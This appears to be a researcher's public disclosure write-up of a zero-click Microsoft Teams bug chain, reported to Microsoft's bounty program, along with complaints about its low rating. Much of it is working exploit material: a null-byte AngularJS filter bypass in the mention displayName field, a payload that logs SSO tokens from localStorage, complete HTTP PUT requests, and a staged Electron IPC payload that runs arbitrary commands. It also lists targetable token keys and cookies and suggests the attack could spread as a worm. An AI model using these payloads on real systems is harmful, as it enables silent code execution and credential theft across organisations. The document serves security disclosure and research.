TL;DR:
Microsoft accepted this chain of bugs as "Important" (severity), "Spoofing" (impact) in O365 cloud bug bounty program. That is one of the lowest in-scope ratings possible.
At least now we have a new joke between colleagues - whenever we get a remote code execution (RCE) bug, we call it "Important, Spoofing". Thanks Microsoft! 😂
To be entirely fair, they did have a separate rating for the desktop app as "Critical, Remote Code Execution", but only for "Microsoft points"! Microsoft points get you on MSRC leaderboards.
Enjoy reading this writeup! This is the first from five zero or one-click Microsoft Teams remote code execution ("Important, Spoofing") bug chains sent in to MSRC.
Share this writeup on Twitter.
Thank you,
Oskars Vegeris
‼️ That's it. There is no further interaction from the victim. Now your company's internal network, personal documents, O365 documents/mail/notes, secret chats are fully compromised. Think about it. One message, one channel, no interaction. Everyone gets exploited.
So let's expand on that. What if the recipients then automatically post it in their teams, channels? Everybody gets exploited. Did you know you can be a guest in other organisations? Probably your organisation already has several guests. They most likely are in their own organisations and those orgs probably have guests, which are in their own organisations, which are ... 🙂 Yes, it could be made into a worm, which spreads within the Microsoft Teams network, at least within an organisation.
The demo is almost boring - all you need is a non-interactive single HTTP request.
After receiving the "Important, Spoofing" rating, I sent a list of bulletpoints - what I considered the real impact as argumentation to MSRC employees. I was hoping maybe they reconsider. The discussion was mostly without substance - just reiterating the ratings. It took weeks for each response, every time me having to remind them about it.
Sooo, after around 3 months it ended as-is: "Important, Spoofing" and that the desktop client - remote code execution - is "out of scope".
I mean, Microsoft can take the desktop app out of scope, which in my opinion is absurd as it's promoted as the primary way to use Microsoft Teams.. but how is any of this "Important" and what the hell is "Spoofing"? 😀
Ever wonder how MS Teams can 'seamlessly' access everything in your O365? Attackers don't, they could in the same way Teams does.
redacted
RCE payload, which was included in the report's video/media attachmentsMS Teams ElectronJS security: remote-require
is disabled & filtered, nodeIntegration
is false
, webview
creation is filtered and normally removes insecure params/options. You cannot simply import child_process
and execute arbitrary code or create a webview
with a custom preload
option.
Ok, the injected template string is visible for a split second, but normally you wouldn't see it - as can be evidenced in the next demo and all the rest of AngularJS template strings in Teams you don't see. I attribute the glitch to the HTTP proxy, general slowness of the app, live-reloading and the fact that it's a demo so it must fail in some way 🙂
// redacted no new window RCE payload until ~2021 as requested by Microsoft
The blank window could have arbitrary content, size, look - it's "suspiciously blank" because it's a PoC.
No user interaction is required, exploit executes upon seeing the chat message. This exploit bypasses webview restrictions and abuses MS Teams API calls to "download" a file and use it as preload
(nodeJS context) for a webview
. Teams actually filters webview
creation - filtering preload
and other dangerous options, but in this way the check could be bypassed. Probably the idea could be used in other, older ElectronJS apps.
cmd = `open /System/Applications/Calculator.app` // change to windows/linux command as required
stage1 = `data:text/plain,cp=require('child_process');cp.exec('${cmd}')`; // create a virtual file to download
this.electronSafeIpc.send(`desktopFileDownload`, stage1); // request to download file
// implement an event handler when files downloaded to trigger payload
this.electronSafeIpc.on(`desktop-file-download-finished`, (_, fileinfo) => {
f = fileinfo.uniqueFile.filePath; // event gives us file path which we don't know beforehand
// create a new webview mockup - window with a webview tag and our virtual, downloaded file as preload
stage2 = `data:text/html,<webview src='about:blank' preload='file:///${f}'></webview>`
this.electronSafeIpc.send(`allowWindowOpenUrl`, stage2); // abusing MS Teams IPC API to allow above URL
this.w = window.open(stage2); // URL gets opened, webview gets created with our virtual, downloaded file preload
setTimeout(()=>{this.w.close()},1000) // not necessary, but let's close the custom window
}
)
A Remote Code Execution vulnerability has been identified in MS Teams desktop which can be triggered by a novel XSS (Cross-Site Scripting) injection in teams.microsoft.com. A specifically crafted chat message can be sent to any Microsoft Teams member or channel which will execute arbitrary code on victim PC's with NO USER INTERACTION.
Remote Code Execution has been achieved in desktop applications across all supported platforms (Windows, macOS, Linux). Code execution gives attackers full access to victim devices and company internal networks via those devices.
Even without arbitrary code execution on victim device, with the demonstrated XSS it's possible for an attacker to obtain SSO authorisation tokens for Microsoft Teams and other Microsoft Services (e.g. Skype, Outlook, Office365). Furthermore, the XSS vulnerability by itself allows to access confidential / private conversations, files etc. from within MS Teams.
These attacks could be performed by guest users completely silently with no user interaction or indications of compromise.
Products affected:
This report contains a new XSS vector and a novel RCE payload which are used together. It affects the chatting system within Microsoft Teams and can be used in e.g. direct messages, channels.
To achieve RCE in Microsoft Teams, two vulnerabilities are chained:
Type a chat message in either direct communication or channel, mention a user or a custom tag within this chat
Edit the chat message containing the mention and intercept with a HTTP proxy like Burp Suite
In mention functionality, the vulnerable parameter is displayName
within the { content: "...", properties: { "mentions" : "[{ displayName: PAYLOAD HERE }]"
JSON message structure.
The request should look something like this, note displayName
:
PUT /v1/users/ME/conversations/19%3A9bc6400d2fc7443487491898c6803e46%40thread.tacv2/messages/1598607494949 HTTP/1.1
Host: emea.ng.msg.teams.microsoft.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:81.0) Gecko/20100101 Firefox/81.0
Accept: json
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json
Authentication: skypetoken=...snip...
ClientInfo: os=macos; osVer=10; proc=x86; lcid=en-us; deviceType=1; country=us; clientName=skypeteams; clientVer=1415/1.0.0.2020080725; utcOffset=+03:00
BehaviorOverride: redirectAs404
Content-Length: 1174
{"content":"<div><div>\n<div>\n<div>\n<div>\n<div><span itemscope itemtype=\"http://schema.skype.com/Mention\" itemid=\"0\">dada</span></div>\n</div>\n</div>\n</div>\n</div>\n</div>","messagetype":"RichText/Html","contenttype":"text","amsreferences":[],"clientmessageid":"9868848366534370000","imdisplayname":"Oskars Vegeris","properties":{"importance":"","subject":null,"mentions":"[{\"@type\":\"http://schema.skype.com/Mention\",\"itemid\":0,\"tagId\":\"tHab2TLzpa\",\"mri\":\"tHab2TLzpa\",\"mentionType\":\"tag\",\"displayName\":\"x marks the spot\"}]"}}
angular expression filtering can be bypassed by injecting a nullbyte char in unicode \u0000
, e.g.
{{3*333}\u0000}
To access user's local storage and all SSO tokens, use this payload within displayName
in the above HTTP PUT request.
{{['if(typeof onetime==`undefined`){onetime=1;console.log(localStorage);}'].forEach($root.$$childHead.$$nextSibling.app.$window.eval)}\u0000}
Full HTTP request for SSO token logging:
PUT /v1/users/ME/conversations/19%3A9bc6400d2fc7443487491898c6803e46%40thread.tacv2/messages/1598607494949 HTTP/1.1
Host: emea.ng.msg.teams.microsoft.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:81.0) Gecko/20100101 Firefox/81.0
Accept: json
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json
Authentication: skypetoken=...snip...
ClientInfo: os=macos; osVer=10; proc=x86; lcid=en-us; deviceType=1; country=us; clientName=skypeteams; clientVer=1415/1.0.0.2020080725; utcOffset=+03:00
BehaviorOverride: redirectAs404
Content-Length: 1174
{"content":"<div><div>\n<div>\n<div>\n<div>\n<div><span itemscope itemtype=\"http://schema.skype.com/Mention\" itemid=\"0\">dada</span></div>\n</div>\n</div>\n</div>\n</div>\n</div>","messagetype":"RichText/Html","contenttype":"text","amsreferences":[],"clientmessageid":"9868848366534370000","imdisplayname":"Oskars Vegeris","properties":{"importance":"","subject":null,"mentions":"[{\"@type\":\"http://schema.skype.com/Mention\",\"itemid\":0,\"tagId\":\"tHab2TLzpa\",\"mri\":\"tHab2TLzpa\",\"mentionType\":\"tag\",\"displayName\":\"x marks the spot{{['if(typeof onetime==`undefined`){onetime=1;console.log(localStorage);}'].forEach($root.$$childHead.$$nextSibling.app.$window.eval)}\u0000}\"}]"}}
this will log user's local storage as a XSS PoC.
no further actions are necessary. all users within this chat will start logging their SSO tokens which can be exfiltrated.
you can verify this by checking development tools in either Microsoft Teams desktop or any browser.
A novel remote code execution payload was developed, which bypasses all restrictions currently implemented (remote require, node integration, webview preload filtering etc.) in Microsoft Teams desktop and should work even if contextIsolation
was enabled.
cmd = `open /Applications/Calculator.app` // change to windows/linux command as required
stage1 = `data:text/plain,cp=require('child_process');cp.exec('${cmd}')`; // create a virtual file to download
this.electronSafeIpc.send(`desktopFileDownload`, stage1); // request to download file
// implement an event handler when files downloaded to trigger payload
this.electronSafeIpc.on(`desktop-file-download-finished`, (_, fileinfo) => {
f = fileinfo.uniqueFile.filePath; // event gives us file path which we don't know beforehand
// create a new webview mockup - window with a webview tag and our virtual, downloaded file as preload
stage2 = `data:text/html,<webview src='about:blank' preload='file:///${f}'></webview>`
this.electronSafeIpc.send(`allowWindowOpenUrl`, stage2); // abusing MS Teams IPC API to allow above URL
this.w = window.open(stage2); // URL gets opened, webview gets created with our virtual, downloaded file preload
setTimeout(()=>{this.w.close()},1000) // not necessary, but let's close the custom window
}
)
Shortened version for HTTP PUT request and improved to execute only once per reload:
{{['if(typeof mentiontime==`undefined`){mentiontime=1;stage1=`data:text/plain,cp=require(\\\"child_process\\\");cp.exec(\\\"open /System/Applications/Calculator.app\\\")`;this.electronSafeIpc.send(`desktopFileDownload`,stage1);this.electronSafeIpc.on(`desktop-file-download-finished`,(_,fileinfo)=>{f=fileinfo.uniqueFile.filePath;stage2=`data:text/html,<webview src=\\\"about:blank\\\" preload=\\\"file:///${f}\\\"></webview>`;this.electronSafeIpc.send(`allowWindowOpenUrl`,stage2);this.w=window.open(stage2);setTimeout(()=>{this.w.close()},2000)})}'].forEach($root.$$childHead.$$nextSibling.app.$window.eval)}\u0000}
Full HTTP PUT request with RCE payload:
PUT /v1/users/ME/conversations/19%3A9bc6400d2fc7443487491898c6803e46%40thread.tacv2/messages/1598607494949 HTTP/1.1
Host: emea.ng.msg.teams.microsoft.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:81.0) Gecko/20100101 Firefox/81.0
Accept: json
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json
Authentication: ...snip...
ClientInfo: os=macos; osVer=10; proc=x86; lcid=en-us; deviceType=1; country=us; clientName=skypeteams; clientVer=1415/1.0.0.2020080725; utcOffset=+03:00
BehaviorOverride: redirectAs404
Content-Length: 1174
{"content":"<div><div>\n<div>\n<div>\n<div>\n<div><span itemscope itemtype=\"http://schema.skype.com/Mention\" itemid=\"0\">dada</span></div>\n</div>\n</div>\n</div>\n</div>\n</div>","messagetype":"RichText/Html","contenttype":"text","amsreferences":[],"clientmessageid":"9868848366534370000","imdisplayname":"Oskars Vegeris","properties":{"importance":"","subject":null,"mentions":"[{\"@type\":\"http://schema.skype.com/Mention\",\"itemid\":0,\"tagId\":\"tHab2TLzpa\",\"mri\":\"tHab2TLzpa\",\"mentionType\":\"tag\",\"displayName\":\"x marks the spot{{['if(typeof mentiontime==`undefined`){mentiontime=1;stage1=`data:text/plain,cp=require(\\\"child_process\\\");cp.exec(\\\"open /System/Applications/Calculator.app\\\")`;this.electronSafeIpc.send(`desktopFileDownload`,stage1);this.electronSafeIpc.on(`desktop-file-download-finished`,(_,fileinfo)=>{f=fileinfo.uniqueFile.filePath;stage2=`data:text/html,<webview src=\\\"about:blank\\\" preload=\\\"file:///${f}\\\"></webview>`;this.electronSafeIpc.send(`allowWindowOpenUrl`,stage2);this.w=window.open(stage2);setTimeout(()=>{this.w.close()},2000)})}'].forEach($root.$$childHead.$$nextSibling.app.$window.eval)}\u0000}\"}]"}}
! note: change the command, currently set for macOS Catalina as open /System/Applications/Calculator.app
no user interaction is required simply visiting a chat will execute arbitrary code.
[1] - Video demos, screenshots
[2] - https://www.electronjs.org/docs/tutorial/security
SSO tokens:
adal.nonce.idtoken
ts.09ccd856-c12e-4228-acf6-a19af826be77.auth.skype.token
ts.09ccd856-c12e-4228-acf6-a19af826be77.cache.token.4580fd1d-e5a3-4f56-9ad1-aab0e3bf8f76
ts.09ccd856-c12e-4228-acf6-a19af826be77.cache.token.cf53fce8-def6-4aeb-8d30-b158e7b1cf83
ts.09ccd856-c12e-4228-acf6-a19af826be77.cache.token.https://*.microsoftstream.com
ts.09ccd856-c12e-4228-acf6-a19af826be77.cache.token.https://api.spaces.skype.com
ts.09ccd856-c12e-4228-acf6-a19af826be77.cache.token.https://chatsvcagg.teams.microsoft.com
ts.09ccd856-c12e-4228-acf6-a19af826be77.cache.token.https://emea.presence.teams.microsoft.com/
ts.09ccd856-c12e-4228-acf6-a19af826be77.cache.token.https://evolutiongaming-my.sharepoint.com
ts.09ccd856-c12e-4228-acf6-a19af826be77.cache.token.https://evolutiongaming-my.sharepoint.com/
ts.09ccd856-c12e-4228-acf6-a19af826be77.cache.token.https://evolutiongaming.sharepoint.com
ts.09ccd856-c12e-4228-acf6-a19af826be77.cache.token.https://evolutiongaming.sharepoint.com/
ts.09ccd856-c12e-4228-acf6-a19af826be77.cache.token.https://forms.office.com
ts.09ccd856-c12e-4228-acf6-a19af826be77.cache.token.https://loki.delve.office.com/
ts.09ccd856-c12e-4228-acf6-a19af826be77.cache.token.https://management.core.windows.net/
ts.09ccd856-c12e-4228-acf6-a19af826be77.cache.token.https://onenote.com/
ts.09ccd856-c12e-4228-acf6-a19af826be77.cache.token.https://outlook.office.com/
ts.09ccd856-c12e-4228-acf6-a19af826be77.cache.token.https://outlook.office365.com
ts.09ccd856-c12e-4228-acf6-a19af826be77.cache.token.https://outlook.office365.com/connectors
ts.09ccd856-c12e-4228-acf6-a19af826be77.cache.token.https://presence.teams.microsoft.com/
ts.09ccd856-c12e-4228-acf6-a19af826be77.cache.token.https://service.powerapps.com/
ts.09ccd856-c12e-4228-acf6-a19af826be77.cache.token.https://teams.microsoft.com
ts.09ccd856-c12e-4228-acf6-a19af826be77.cache.token.https://uis.teams.microsoft.com
ts.09ccd856-c12e-4228-acf6-a19af826be77.cache.token.https://web.microsoftstream.com
ts.09ccd856-c12e-4228-acf6-a19af826be77.cache.token.https://whiteboard.microsoft.com
Potentially sensitive cookies available from JavaScript:
sessionId
TSAUTHCOOKIE
SSOAUTHCOOKIE